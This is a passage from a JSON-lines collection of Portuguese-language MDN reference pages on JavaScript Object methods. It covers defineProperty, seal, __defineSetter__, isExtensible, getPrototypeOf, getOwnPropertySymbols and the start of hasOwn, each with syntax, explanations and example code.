\"stack\",\n};\n\nfor (var nome in buz) {\n  if (buz.hasOwnProperty(nome)) {\n    alert(\"this is fog (\" + nome + \") for sure. Value: \" + buz[nome]);\n  } else {\n    alert(nome); // toString ou qualquer outra coisa\n  }\n}\n```\n\n### Exemplo: `hasOwnProperty` como propriedade\n\nJavaScript não protege o nome `hasOwnProperty`, assim, se existir a possibilidade do objeto possuir uma propriedade com esse nome, é necessário usar externamente `hasOwnProperty` para se ter o resultado correto:\n\n\n```js\nvar foo = {\n  hasOwnProperty: function () {\n    return false;\n  },\n  bar: \"Here be dragons\",\n};\n\nfoo.hasOwnProperty(\"bar\"); // Sempre retorna false\n\n// Usando a propriedade hasOwnProperty de outro objeto e definindo 'this' como foo\n({}).hasOwnProperty.call(foo, \"bar\"); // true\n\n// Também é possível usar hasOwnProperty do objeto\nObject.prototype.hasOwnProperty.call(foo, \"bar\"); // true\n```\n\n\nObserve que neste ultimo caso nenhum novo objeto é criado.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.prototype.hasownproperty |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n* Enumerability and ownership of properties (en-US)\n* `Object.getOwnPropertyNames()`\n* for...in\n* `in`\n* JavaScript Guide: Inheritance revisted"}
{"title":"Object.defineProperty() - JavaScript","text":"Object.defineProperty()\n=======================\n\nO método **`Object.defineProperty()`** define uma nova propriedade diretamente em um objeto, ou modifica uma propriedade já existente em um objeto, e retorna o objeto.\n\n**Nota:** Você invoca este método diretamente no construtor do `Object` ao invés de invocar em uma instância do tipo `Object`.\n\nSintaxe\n-------\n```\n\nObject.defineProperty(obj, prop, descriptor)\n```\n\n### Parâmetros\n\n`obj`\n\nO objeto no qual será definida a propriedade.\n\n`prop`\n\nO nome da propriedade que será definida ou modificada.\n\n`descriptor`\n\nO descritor para a propriedade que será definida ou modificada.\n\n### Valor de retorno\n\nO objeto que foi passado à função.\n\nDescrição\n---------\n\nEsse método permite uma precisa inclusão ou modificação de uma propriedade em um objeto. Enquanto a inclusão de propriedades através de atribuição cria propriedades que são visíveis durante a enumeração (por repetições `for...in` ou pelo método `Object.keys`), e cujos valores podem ser alterados e deletados (en-US), esse método permite a modificação deste comportamento padrão. Por padrão, valores incluídos utilizando `Object.defineProperty()` são imutáveis.\n\nOs descritores de propriedades presentes nos objetos se apresentam em duas variedades: descritores de dados e descritores de assessores. Um *descritor de dado* é uma propriedade que contém um valor, podendo este ser gravável ou não. Um *descritor de assessor* é uma propriedade definida como um par de funções getter-setter. Um descritor deve ser de uma destas variedades; não pode ser de ambas.\n\nAmbos os descritores de dados e de assessor são objetos. Eles compartilham as seguintes chaves obrigatórias:\n\n`configurable`\n\n`true` se e somente se o tipo deste descritor de propriedade pode ser alterado e se a propriedade pode ser deletada do objeto correspondente.\n **Valor padrão é `false`.**\n\n`enumerable`\n\n`true` se e somente se esta propriedade aparece durante enumeração das propriedades no objeto correspondente.\n **Valor padrão é `false`.**\n\n\nUm descritor de dados também possui as seguintes chaves opcionais:\n\n`value`\n\n O valor associado com a propriedade. Pode ser qualquer valor válido em Javascript (número, objeto, função, etc).\n **Valor padrão é `undefined`.**\n\n`writable`\n\n`true` se e somente se o valor associado com a propriedade pode ser modificada com um operador de atribuição (en-US).\n **Valor padrão é `false`.**\n\n\nUm descritor de assessor também possui as seguintes chaves opcionais:\n\n`get`\n\n Uma função que servirá como um getter da propriedade, ou `undefined` se não houver getter. Quando a propriedade é acessada, esta função é chamada sem argumentos e com `this` define para o objeto no qual a propriedade é acessada (este pode não ser o objeto sobre o qual a propriedade está definida devido a herança). O valor retornado será usado como valor da propriedade.\n **Valor padrão é `undefined`.**\n\n`set`\n\n A função que servirá como um setter para a propriedade, ou `undefined` se não houver setter. Quando a propriedade é atribuída, esta função é chamada com um argumento (o valor sendo atribuído para a propriedade) e com `this` configura o objeto através do qual a propriedade é atribuída.\n **Valor padrão é `undefined`.**\n\n\nSe um descritor tem nenhum das chaves `value`, `writable`, `get` e `set`, ele é tratado como um descritor de dados. Se um descritor tem ambas chaves `value` ou `writable` e `get` ou `set` keys, uma exceção é lançada.\n\nTenha em mente que estes atributos não são necessariamente as propriedades do próprio descritor. Propriedades herdadas serão consideradas também. Para garantir que estes padrões sejam preservados, você pode congelar o `Object.prototype` (en-US) previamente, declarar todas as opções explicitamente, ou apontar para `null` com `Object.create(null)`.\n\n\n```js\n// usando \\_\\_proto\\_\\_\nvar obj = {};\nvar descriptor = Object.create(null); // não herdar propriedades\n// não enumerável, não configurável, não gravável por padrão\ndescriptor.value = \"static\";\nObject.defineProperty(obj, \"key\", descriptor);\n\n// declarando explicitamente\nObject.defineProperty(obj, \"key\", {\n  enumerable: false, // não enumerável\n  configurable: false, // não configurável\n  writable: false, // não gravável\n  value: \"static\",\n});\n\n// reciclando um mesmo objeto\nfunction withValue(value) {\n  var d =\n    withValue.d ||\n    (withValue.d = {\n      enumerable: false,\n      writable: false,\n      configurable: false,\n      value: null,\n    });\n  d.value = value;\n  return d;\n}\n\n// ... e ...\nObject.defineProperty(obj, \"key\", withValue(\"static\"));\n\n// se o método freeze estiver disponível, prevenir as propriedades\n// (value, get, set, enumerable, writable, configurable) de serem\n// incluídas ou removidas do protótipo do objeto\n(Object.freeze || Object)(Object.prototype);\n```\n\nExemplos\n--------\n\nSe você deseja utilizar o método `Object.defineProperty` com uma sintaxe estilo *flags-binárias*, veja os exemplos adicionais.\n\n### Criando uma propriedade\n\nQuando a propriedade especificada não existe no objeto, `Object.defineProperty()` cria uma nova propriedade conforme descrito anteriormente. Campos podem ser omitidos no descritor, e os valores padrão para esses campos serão introduzidos.\n\nTodos os campos do tipo Boolean possuem como valor padrão `false`. Os campos `value`, `get`, e `set` possuem como padrão `undefined`. Uma propriedade que é definida sem os valores para `get`/`set`/`value`/`writable` é dita \"genérica\" e classificada como um descritor de dados.\n\n\n```js\nvar o = {}; // Criar um novo objeto\n\n// Exemplo de propriedade de objeto inserida através\n// de defineProperty com descritor do tipo dado\nObject.defineProperty(o, \"a\", {\n  value: 37,\n  writable: true,\n  enumerable: true,\n  configurable: true,\n});\n// A propriedade 'a' existe no objeto com valor 37\n\n// Exemplo de propriedade de objeto inserida através\n// de defineProperty com descritor do tipo assessor\nvar bValue = 38;\n\nObject.defineProperty(o, \"b\", {\n  get: function () {\n    return bValue;\n  },\n  set: function (newValue) {\n    bValue = newValue;\n  },\n  enumerable: true,\n  configurable: true,\n});\n\no.b; // 38\n// A propriedade 'b' existe no objeto com valor 38\n// O valor de o.b será sempre idêntico a bValue, a\n// menos que o.b seja redefinido\n\n// Você não pode combinar ambos os tipos:\nObject.defineProperty(o, \"conflict\", {\n  value: 0x9f91102,\n  get: function () {\n    return 0xdeadbeef;\n  },\n});\n// lança um TypeError: value existe apenas em descritores\n// de dado, get existe apenas em descritores de assessor\n```\n\n### Modificando uma propriedade\n\nQuando uma propriedade já existe, `Object.defineProperty()` tenta modificá-la de acordo com os valores do descritor e a configuração atual do objeto. Se o descritor antigo possuía seu atributo `configurable` como `false` a propriedade é chamada \"não configurável\" e nenhum atributo pode ser alterado (exceto a alteração irreversível de *writable* para *false*). Não é possível alternar o tipo de uma propriedade entre dados e assessor quando esta for não-configurável.\n\nUm `TypeError` é lançado quando são realizadas tentativas de se alterar propriedades não-configuráveis (exceto o atributo `writable`) a menos que o valor atual e o novo sejam os mesmos.\n\n#### O atributo writable\n\nQuando o atributo `writable` de uma propriedade é definido como `false`, a propriedade é dita \"não-gravável\". Seu valor não poderá ser alterado.\n\n\n```js\nvar o = {}; // Cria um novo objeto\n\nObject.defineProperty(o, \"a\", {\n  value: 37,\n  writable: false,\n});\n\nconsole.log(o.a); // escreve 37\n\no.a = 25; // Nenhum erro é lançado (no modo strict seria\n// lançado mesmo que o valor fosse o mesmo)\n\nconsole.log(o.a); // escreve 37. A atribuição não teve efeito.\n```\n\n\nComo visto no exemplo, tentativas de escrita em uma propriedade não-gravável não alteram seu valor, mas também não lançam erros.\n\n#### O atributo enumerable\n\nO atributo `enumerable` de uma propriedade define se ela deve ser exibida em uma repetição `for...in` e por `Object.keys()` ou não.\n\n\n```js\nvar o = {};\n\nObject.defineProperty(o, \"a\", {\n  value: 1,\n  enumerable: true,\n});\n\nObject.defineProperty(o, \"b\", {\n  value: 2,\n  enumerable: false,\n});\n\nObject.defineProperty(o, \"c\", {\n  value: 3,\n}); // o valor padrão para enumerable é false\n\no.d = 4; // o valor padrão para enumerable é true quando\n// a propriedade é criada em uma atribuição\n\nfor (var i in o) {\n  console.log(i);\n}\n// escreve 'a' e 'd' (em ordem indefinida)\n\nObject.keys(o); // ['a', 'd']\n\no.propertyIsEnumerable(\"a\"); // true\no.propertyIsEnumerable(\"b\"); // false\no.propertyIsEnumerable(\"c\"); // false\n```\n\n\n#### O atributo configurable\n\nO atributo `configurable` controla ao mesmo se uma propriedade pode ser deletada do objeto, e se seus atributos (exceto a mudança de `writable` para `false`) podem ser alterados.\n\n\n```js\nvar o = {};\n\nObject.defineProperty(o, \"a\", {\n  get: function () {\n    return 1;\n  },\n  configurable: false,\n});\n\nObject.defineProperty(o, \"a\", {\n  configurable: true,\n}); // lança um TypeError\n\nObject.defineProperty(o, \"a\", {\n  enumerable: true,\n}); // lança um TypeError\n\nObject.defineProperty(o, \"a\", {\n  set: function () {},\n}); // lança um TypeError (o atributo set já estava definido)\n\nObject.defineProperty(o, \"a\", {\n  get: function () {\n    return 1;\n  },\n}); // lança um TypeError\n// (mesmo o novo get fazendo exatamente a mesma coisa)\n\nObject.defineProperty(o, \"a\", {\n  value: 12,\n}); // lança um TypeError\n\nconsole.log(o.a); // escreve 1\ndelete o.a; // Nada acontece\nconsole.log(o.a); // escreve 1\n```\n\n\nSe o atributo `configurable` de `o.a` fosse `true`, nenhum dos erros seria lançado e a propriedade estaria deletada ao final.\n\n### Incluindo propriedades e valores padrão\n\nÉ importante considerar a forma como os valores padrão para atributos são aplicados. Normalmente existe diferença entre usar a notação por ponto para atribuir um valor e usar `Object.defineProperty()`, como pode ser visto no exemplo abaixo:\n\n\n```js\nvar o = {};\n\no.a = 1;\n\n// é equivalente a:\nObject.defineProperty(o, \"a\", {\n  value: 1,\n  writable: true,\n  configurable: true,\n  enumerable: true,\n});\n\n// Por outro lado,\nObject.defineProperty(o, \"a\", { value: 1 });\n\n// é equivalente a:\nObject.defineProperty(o, \"a\", {\n  value: 1,\n  writable: false,\n  configurable: false,\n  enumerable: false,\n});\n```\n\n### Setters e getters customizados\n\nO exemplo abaixo mostra como implementar um objeto auto-arquivável. Quando a propriedade `temperature` é atribuída, o array `archive` recebe uma nova entrada de log.\n\n\n```js\nfunction Archiver() {\n  var temperature = null;\n  var archive = [];\n\n  Object.defineProperty(this, \"temperature\", {\n    get: function () {\n      console.log(\"get!\");\n      return temperature;\n    },\n    set: function (value) {\n      temperature = value;\n      archive.push({ val: temperature });\n    },\n  });\n\n  this.getArchive = function () {\n    return archive;\n  };\n}\n\nvar arc = new Archiver();\narc.temperature; // 'get!'\narc.temperature = 11;\narc.temperature = 13;\narc.getArchive(); // [{ val: 11 }, { val: 13 }]\n```\n\n\nNeste exemplo, um getter sempre retorna o mesmo valor.\n\n\n```js\nvar pattern = {\n  get: function () {\n    return (\n      \"Eu sempre retorno esta string, \" + \"não importa o que você atribuiu\"\n    );\n  },\n  set: function () {\n    this.myname = \"esta string é meu nome\";\n  },\n};\n\nfunction TestDefineSetAndGet() {\n  Object.defineProperty(this, \"myproperty\", pattern);\n}\n\nvar instance = new TestDefineSetAndGet();\ninstance.myproperty = \"test\";\n\nconsole.log(instance.myproperty);\n// Eu sempre retorno esta string, não importa o que você atribuiu\n\nconsole.log(instance.myname); // esta string é meu nome\n```\n\n### Propriedades de Herança\n\nSe uma propriedade de acessor é herdada, métodos `get` e `set` serão chamados quando a propriedade é acessada e modificada sobre os objetos descendentes. Se estes métodos usam uma variável para armazenar o valor, este valor será compartilhada por todos os objetos.\n```\n\nfunction myclass() {\n}\n\nvar value;\nObject.defineProperty(myclass.prototype, \"x\", {\n  get() {\n    return value;\n  },\n  set(x) {\n    value = x;\n  }\n});\n\nvar a = new myclass();\nvar b = new myclass();\na.x = 1;\nconsole.log(b.x); // 1\n```\n\n\nIsto pode ser corrigido armazenando o valor em outra propriedade. Em métodos `get` e `set`, `this` aponta para o objeto no qual é usado para acessar ou modificar a propriedade.\n```\n\nfunction myclass() {\n}\n\nObject.defineProperty(myclass.prototype, \"x\", {\n  get() {\n    return this.stored_x;\n  },\n  set(x) {\n    this.stored_x = x;\n  }\n});\n\nvar a = new myclass();\nvar b = new myclass();\na.x = 1;\nconsole.log(b.x); // undefined\n```\n\n\nAo contrário das propriedades do acessor, propriedades do valor serão sempre configuradas sobre o próprio objeto, não sobre um protótipo. Entretanto, se uma propriedade de valor não-gravável é herdada, ele ainda previne de modicação a propriedade do objeto.\n```\n\nfunction myclass() {\n}\n\nmyclass.prototype.x = 1;\nObject.defineProperty(myclass.prototype, \"y\", {\n  writable: false,\n  value: 1\n});\n\nvar a = new myclass();\na.x = 2;\nconsole.log(a.x); // 2\nconsole.log(myclass.prototype.x); // 1\na.y = 2; // Ignorado, lança no modo strict\nconsole.log(a.y); // 1\nconsole.log(myclass.prototype.y); // 1\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.defineproperty |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nNotas de compatibilidade\n------------------------\n\n### Redefinindo a propriedade `length` de um objeto `Array`\n\nÉ possível redefinir a propriedade `length` de arrays, sujeita às restrições de redefinição usuais. (A propriedade `length` é inicialmente não configurável, não enumerável, mas gravável. Assim, em um array que não foi modificado, é possível alterar o valor da propriedade `length` ou torná-la não-gravável. Não é permitido alterar sua enumerabilidade ou configurabilidade, ou quando se encontrar não-gravável, alterar seu valor ou torná-la gravável novamente.) Entretanto, nem todos os browsers permitem esta redefinição.\n\nDas versões 4 até 22 do Firefox, um `TypeError` é lançado em qualquer tentativa (seja ela permitida ou não) de redefinir a propriedade `length` de um array.\n\nVersões do Chrome que implementam `Object.defineProperty()` em algumas circunstâncias ignoram um valor para *length* diferente do valor atual da propriedade `length` do array. Em algumas circustâncias, alterar o atributo `writable` falha de forma silenciosa (sem lançar uma exceção). Além disso, alguns métodos que modificam o array como {jsxref(\"Array.prototype.push\")}} não respeitam uma propriedade *length* não-gravável.\n\nVersões do Safari que implementam `Object.defineProperty()` ignoram um valor para `length` diferente do valor atual da propriedade `length`, e tentantivas de alterar o atributo `writable` executam sem erros embora não modifiquem seu comportamento.\n\nApenas o Internet Explorer 9 a posteriores, e o Firefox 23 e posteriores, parecem implementar total e corretamente a redefinição da propriedade `length` de arrays. Por enquanto, não confie que a redefinição da propriedade `length` vá funcionar, mesmo que de uma forma particular. E mesmo quando você *puder* confiar, existem boas razões para não fazer isso.\n\n### Notas específicas para o Internet Explorer 8\n\nO Internet Explorer 8 implementa o método `Object.defineProperty()` para uso apenas em objetos DOM. Algumas observações:\n\n* Tentativas de usar `Object.defineProperty()` em objetos nativos lançam um erro.\n* Todos os atributos da propriedade devem ter seu valor definido. Os atributos `configurable`, `enumerable` e `writable` devem ser `true` para um descritor do tipo dado, e `true` para `configurable` e `false` para `enumerable` em descritores do tipo assessor. (?) Qualquer tentativa de usar outros valores (?) resultará no lançamento de um erro.\n* Reconfigurar uma propriedade exige que ela seja deletada anteriormente. Se a propriedade não for deletada, ela permanecerá inalterada após a tentativa de reconfiguração.\nVeja também\n-----------\n\n* Enumerabilidade and posse de propriedades (en-US)\n* `Object.defineProperties()`\n* `Object.propertyIsEnumerable()`\n* `Object.getOwnPropertyDescriptor()`\n* `Object.prototype.watch()`\n* `Object.prototype.unwatch()`\n* `get` (en-US)\n* `set` (en-US)\n* `Object.create()`\n* Exemplos adicionais de `Object.defineProperty`\n* `Reflect.defineProperty()`"}
{"title":"Object.seal() - JavaScript","text":"Object.seal()\n=============\n\nO método **`Object.seal()`** sela um Objeto, evitando que novas propriedades sejam adicionadas à ele e marcando todas as propriedades existentes como não configuráveis. Valores das propriedades atuais ainda podem ser alterados desde que essas propriedades sejam graváveis (writable).\n\nSintaxe\n-------\n```\n\nObject.seal(obj)\n```\n\n### Parâmetros\n\n`obj`\n\nO Objeto que deve ser selado.\n\n### Valor de retorno\n\nO Objeto sendo selado.\n\nDescrição\n---------\n\nPor padrão, objetos são extensible (novas propriedades podem ser adicionadas à eles). Selar um objeto evita que novas propriedades sejam adicionadas e marca todas as propriedades existentes como não configuráveis. Isto tem o efeito de tornar as propriedades no objeto fixas e imutáveis. Tornando todas as propriedades não configuráveis também evita que as mesmas sejam convertidas de propriedades de dados para propriedades de acesso e vice-versa, mas não evita que os valores das propriedades de dados sejam alterados. A tentativa de deletar ou adicionar propriedades à um objeto selado, ou converter uma propriedade de dado para uma propriedade de acesso ou vice-versa, irá falhar, seja silenciosamente como jogando o erro `TypeError` (mais comumente, mas não exclusivamente, quando em modo rigoroso strict mode de código).\n\nA cadeia de prototipação permanece intocada. Entretanto, a propriedade `Object.prototype.__proto__` \nDeprecated\n é selada também.\n\nRetorna a referência ao Objeto passado.\n\nExemplos\n--------\n\n\n```js\nvar obj = {\n  prop: function () {},\n  foo: \"bar\",\n};\n\n// Novas propriedades podem ser adicionadas, propriedades existentes podem ser alteradas ou removidas.\nobj.foo = \"baz\";\nobj.lumpy = \"woof\";\ndelete obj.prop;\n\nvar o = Object.seal(obj);\n\no === obj; // true\nObject.isSealed(obj); // === true\n\n// Alterar o valor das propriedades em um objeto selado ainda funciona.\nobj.foo = \"quux\";\n\n// Mas você não pode converter propriedades de dados em propriedades de acesso, e vice-versa.\nObject.defineProperty(obj, \"foo\", {\n  get: function () {\n    return \"g\";\n  },\n}); // throws a TypeError\n\n// Agora quaisquer mudanças, que não sejam aos valores da das propriedades, irão falhar.\nobj.quaxxor = \"the friendly duck\"; // silently doesn't add the property\ndelete obj.foo; // silently doesn't delete the property\n\n// e em modo rigoroso (strict mode) tais tentativas irão jogar erros do tipo TypeErrors.\nfunction fail() {\n  \"use strict\";\n  delete obj.foo; // throws a TypeError\n  obj.sparky = \"arf\"; // throws a TypeError\n}\nfail();\n\n// Tentativas através do Object.defineProperty também irão falhar.\nObject.defineProperty(obj, \"ohai\", { value: 17 }); // lança um erro do tipo TypeError\nObject.defineProperty(obj, \"foo\", { value: \"eit\" }); // altera o valor da propriedade existente\n```\n\nNotas\n-----\n\nNo ES5, se o argumento passado à este método não é um objeto (primitivo) , irá causar um erro `TypeError`. No ES6, qualquer argumento que não seja um objeto será tratado como se fosse um objeto ordinário selado e simplesmente irá retorná-lo\n\n\n```js\nObject.seal(1);\n// TypeError: 1 não é um Objeto (código ES5)\n\nObject.seal(1);\n// 1 (código ES6)\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.seal |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Object.isSealed()`\n* `Object.preventExtensions()`\n* `Object.isExtensible()`\n* `Object.freeze()`\n* `Object.isFrozen()`"}
{"title":"Object.prototype.__defineSetter__() - JavaScript","text":"Object.prototype.\\_\\_defineSetter\\_\\_()\n=======================================\n\n**Aviso:** Esta funcionalidade está depreciada em favor da definição de setters usando a sintaxe de inicialização de objeto ou a API `Object.defineProperty()`.\n\nEntretando, como ele é largamente implementado e usado na Web, é bem improvável que os navegadores vão parar de implementá-lo.\n\nO método **`__defineSetter__`** vincula uma propriedade de um objeto a uma função a ser chamada quando é feita uma tentativa de atribuir algo a aquela propriedade.\n\nSintaxe\n-------\n```\n\nobj.__defineSetter__(prop, fun)\n```\n\n### Parâmetros\n\n`prop`\n\nUma cadeia de caracteres (*string*) contendo o nome da propriedade que vai ser vinculada a função dada.\n\n`fun`\n\nA função a ser chamada quando houver uma tentativa de atribuir na propriedade especificada. Esta função toma a forma\n\n\n```js\nfunction(val) { . . . }\n```\n\n\n`val`\n\nUm apelido para a variável que contém o valor que se tentou atribuir a `prop`.\n\n\n### Valor de retorno\n\n`undefined`.\n\nDescrição\n---------\n\nO método `__defineSetter__` permite um setter (en-US) ser definido a um objeto pré-existente.\n\nExemplos\n--------\n\n### Não padronizados e forma depreciada\n\n\n```js\nvar o = {};\no.\\_\\_defineSetter\\_\\_(\"value\", function (val) {\n  this.anotherValue = val;\n});\no.value = 5;\nconsole.log(o.value); // undefined\nconsole.log(o.anotherValue); // 5\n```\n\n### Formas compatíveis padronizadas\n\n\n```js\n// Usando o operador set\nvar o = {\n  set value(val) {\n    this.anotherValue = val;\n  },\n};\no.value = 5;\nconsole.log(o.value); // undefined\nconsole.log(o.anotherValue); // 5\n\n// Usando Object.defineProperty\nvar o = {};\nObject.defineProperty(o, \"value\", {\n  set: function (val) {\n    this.anotherValue = val;\n  },\n});\no.value = 5;\nconsole.log(o.value); // undefined\nconsole.log(o.anotherValue); // 5\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.prototype.\\_\\_defineSetter\\_\\_ |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Object.prototype.__defineGetter__()`\n* Operador `set` (en-US)\n* `Object.defineProperty()`\n* `Object.prototype.__lookupGetter__()`\n* `Object.prototype.__lookupSetter__()`\n* JS Guide: Defining Getters and Setters\n* [Blog Post] Deprecation of \\_\\_defineGetter\\_\\_ and \\_\\_defineSetter\\_\\_\n* bug 647423"}
{"title":"Object.isExtensible() - JavaScript","text":"Object.isExtensible()\n=====================\n\nO método **`Object.isExtensible()`** verifica se um objeto pode ser extendido (se é ou não possível adicinar novas propriedades).\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nObject.isExtensible(obj)\n```\n\n### Parâmetros\n\n`obj`\n\nO objeto a ser verificado.\n\n### Valor de retorno\n\nUm valor booleano (`Boolean`) que indica se o objeto pode ser extendido.\n\nDescrição\n---------\n\nObjetos são extensíveis por padrão: novas propriedades podem ser adicionadas, e (em ambientes que suportam `Object.prototype.__proto__` \nDeprecated\n) a propriedade \\_\\_proto\\_\\_ pode ser modificada. Um objeto pode ser marcado como não extensível usando `Object.preventExtensions()`, `Object.seal()`, ou `Object.freeze()`.\n\nExemplos\n--------\n\n\n```js\n// Novos objetos podem ser extendidos.\nvar empty = {};\nObject.isExtensible(empty); // === true\n\n// ...mas isso pode mudar.\nObject.preventExtensions(empty);\nObject.isExtensible(empty); // === false\n\n// Objetos selados, não podem ser extendidos.\nvar sealed = Object.seal({});\nObject.isExtensible(sealed); // === false\n\n// Objetos congelados também não podem ser extendidos.\nvar frozen = Object.freeze({});\nObject.isExtensible(frozen); // === false\n```\n\nNotas\n-----\n\nNo ES5, se o argumento fornecido não for um objeto (um tipo primitivo), isso vai causar um erro do tipo `TypeError`. No ES2015, um argumento que não é um objeto será tratado como um objeto não extensível, simplesmente retornando `false`.\n\n\n```js\nObject.isExtensible(1);\n// TypeError: 1 is not an object (ES5 code)\n\nObject.isExtensible(1);\n// false (ES2015 code)\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.isextensible |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* `Object.preventExtensions()`\n* `Object.seal()`\n* `Object.isSealed()`\n* `Object.freeze()`\n* `Object.isFrozen()`\n* `Reflect.isExtensible()` (en-US)"}
{"title":"Object.getPrototypeOf() - JavaScript","text":"Object.getPrototypeOf()\n=======================\n\nO método **`Object.getPrototypeOf()`** retorna o prototype (isto é, o valor da propriedade interna `[[Prototype]]`) do objeto especificado.\n\nSintaxe\n-------\n```\n\nObject.getPrototypeOf(obj)\n```\n\n### Parâmetros\n\n`obj`\n\nO objeto cujo prototype será retornado.\n\nExemplos\n--------\n\n\n```js\nvar proto = {};\nvar obj = Object.create(proto);\nObject.getPrototypeOf(obj) === proto; // true\n```\n\nNotas\n-----\n\nNo ES5 será lançada uma exceção `TypeError` se o parâmetro obj não for um objeto. No ES6, no entanto, esse valor será submetido a um `Object` equivalente ao seu tipo e retornado.\n\n\n```js\nObject.getPrototypeOf(\"foo\");\n// TypeError: \"foo\" não é um objeto (código ES5)\nObject.getPrototypeOf(\"foo\");\n// String.prototype (código ES6)\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.getprototypeof |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nNotas específicas para o Opera\n------------------------------\n\nEmbora as versões mais antigas do Opera não suportem `Object.getPrototypeOf()`, ele suporta a propriedade não oficial `Object.prototype.__proto__` desde de a sua versão 10.50.\n\nVeja também\n-----------\n\n* `Object.prototype.isPrototypeOf()`\n* `Object.setPrototypeOf()` \nExperimental\n* `Object.prototype.__proto__`\n* John Resig's post on getPrototypeOf\n* `Reflect.getPrototypeOf()` (en-US)"}
{"title":"Object.getOwnPropertySymbols() - JavaScript","text":"Object.getOwnPropertySymbols()\n==============================\n\nO **`Object.getOwnPropertySymbols()`** método retorna uma array com todas propriedades de símbolo encontradas diretamente em um determinado objeto dado.\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```js\nObject.getOwnPropertySymbols(obj);\n```\n\n### Parâmetro\n\n`obj`\n\nO objeto pelo qual as propriedades de símbolos são retornas.\n\n### Valor retornado\n\nUma array com todas as propriedades de símbolos encontradas diretamente pelo o objeto dado.\n\nDescrição\n---------\n\nSimilar do `Object.getOwnPropertyNames()`, você pode obter todas as propriedades de símbolo de um objeto dado como um array de símbolos. Lembre que o próprio `Object.getOwnPropertyNames()` não contém as propriedades de símbolo de um objeto e somente as propriedades de string.\n\nComo todos os objetos não possuem símbolos próprios inicialmente, o `Object.getOwnPropertySymbols()` retorna uma array vazia a menos que você tenha definido as propriedades de símbolo do seu objeto .\n\nExemplos\n--------\n\n### Usando getOwnPropertySymbols\n\n\n```js\nvar obj = {};\nvar a = Symbol(\"a\");\nvar b = Symbol.for(\"b\");\n\nobj[a] = \"localSymbol\";\nobj[b] = \"globalSymbol\";\n\nvar objectSymbols = Object.getOwnPropertySymbols(obj);\n\nconsole.log(objectSymbols.length); // retorno esperado 2\nconsole.log(objectSymbols); // retorno esperado (2) [Symbol(a), Symbol(b)]\nconsole.log(objectSymbols[0]); // retorno esperado Symbol(a)\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.getownpropertysymbols |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Object.getOwnPropertyNames()`\n* `Symbol`"}
{"title":"Object.hasOwn() - JavaScript","text":"Object.hasOwn()\n===============\n\nO método estático **`Object.hasOwn()`** retorna `true` se o objeto específicado tem a propriedade indicada como sua propriedade *own*. Se a propriedade é herdada, ou não existe, o método retorna `false`.\n\n**Nota:** `Object.hasOwn()` Tem a intenção de substituir `Object.hasOwnProperty()`.\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```js\nhasOwn(instance, prop);\n```\n\n### Parâmetros\n\n`instance`\n\nA instância do objeto javascript para o teste.\n\n`prop`\n\nO nome `String` ou Symbol da propriedade para teste.\n\n### Retorna valor\n\n`true` se o objeto especificado definiu diretamente a propriedade especificada. Por outro lado `false`.\n\nDescrição\n---------\n\nO método **`Object.hasOwn()`** retorna `true` se a propriedade especificada é uma propriedade direta do objeto - mesmo se o valor da propriedade é `null` ou `undefined`.\n\nO método retorna `false` se a propriedade é herdada, ou não foi declarada. Diferente do operador `in`, este método não verifica pela propriedade específica na cadeia do objeto.\n\nEle é mais recomendado do que `Object.hasOwnProperty()` porque ele funciona para objetos criados utilizando `Object.create(null)` e com objetos que sobescreveram o método herdado `hasOwnProperty()`. É possível contornar esse problema chamando o `Object.prototype.hasOwnProperty()` em um objeto externo, `Object.hasOwn()` é mais intuítivo.\n\nExemplos\n--------\n\n### Utilizando hasOwn para o teste de propriedades existentes\n\nO seguinte código mostra como determinar se o seguinte objeto `example` contém a propriedade `prop`.\n\n\n```js\nconst example = {};\nObject.hasOwn(example, \"prop\"); // false = 'prop' ela não foi definida\n\nexample.prop = \"exists\";\nObject.hasOwn(example, \"prop\"); // true - 'prop' ela foi definida\n\nexample.prop = null;\nObject.hasOwn(example, \"prop\"); // true - a propriedade existe com o valor null\n\nexample.prop = undefined;\nObject.hasOwn(example, \"prop\"); // true - a propriedade existe com o valor undefined\n```\n\n### Propriedaedes direta vs. herdada\n\nO seguinte exemplo diferencia entre propriedade direta e proprietade errada através do prototype chain:\n\n\n```js\nconst example = {};\nexample.prop = \"exists\";\n\n// `hasOwn` Só retornará true para propriedades diretas will:\nObject.hasOwn(example, \"prop\"); // returns true\nObject.hasOwn(example, \"toString\"); // returns false\nObject.hasOwn(example, \"hasOwnProperty\"); // returns false\n\n// O operador `in` só retornara tru para propriedades diretas ou herdadas:\n\"prop\" in example; // returns true\n\"toString\" in example; // returns true\n\"hasOwnProperty\" in example; // returns true\n```\n\n### Iterando sobre as propriedades de um objeto\n\nPara itererar sobre inúmeras propriedades de um objeto, você deve usar:\n\n\n```js\nconst example = { foo: true, bar: true };\nfor (const name of Object.keys(example)) {\n  // 